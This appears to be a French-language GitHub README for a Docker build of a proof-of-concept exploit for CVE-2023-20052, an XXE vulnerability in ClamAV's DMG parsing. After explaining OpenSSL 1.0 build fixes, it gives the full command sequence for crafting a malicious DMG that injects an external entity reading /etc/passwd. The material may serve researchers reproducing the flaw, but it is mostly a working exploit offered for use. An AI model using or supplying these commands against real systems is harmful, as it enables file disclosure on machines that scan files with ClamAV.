mohitsinghpapola/cve-2023-20052Build Docker corrigé pour l'exploit CVE-2023-20052 ClamAV XXE. Résout les erreurs de compilation OpenSSL 3.0 en utilisant Ubuntu 18.04 avec OpenSSL 1.0 pour la compatibilité libdmg-hfsplus. Génère des fichiers DMG malveillants pour l'injection d'entités externes XML.
Build Docker corrigé pour CVE-2023-20052 (vulnérabilité XXE de ClamAV) qui compile réellement.
L'exploit original ne parvient pas à se compiler sur les systèmes modernes :
HMAC_CTXdmg/filevault.clibssl1.0-dev (OpenSSL 1.0)libdmg-hfsplus utilise des fonctions obsolètes d'OpenSSL 1.0 :
HMAC_CTX_init() / HMAC_CTX_cleanup() (supprimées dans OpenSSL 1.1+)HMAC_CTX (opaque dans OpenSSL 1.1+)Ubuntu 18.04 est la dernière LTS avec le support d'OpenSSL 1.0.
# Build (takes ~3-5 minutes)
docker build -t cve-2023-20052 .
# Run
docker run -v $(pwd):/exploit -it cve-2023-20052 bash
# Create exploit DMG
genisoimage -D -V "exploit" -no-pad -r -apple -o test.img .
dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>|' -e 's/blkx/&xxe;/' test.dmg -o exploit.dmg
## Fixed Docker build for CVE-2023-20052 (ClamAV XXE) - Resolves OpenSSL 3.0 compilation errors. Uses Ubuntu 18.04 with OpenSSL 1.0 for compatibility with libdmg-hfsplus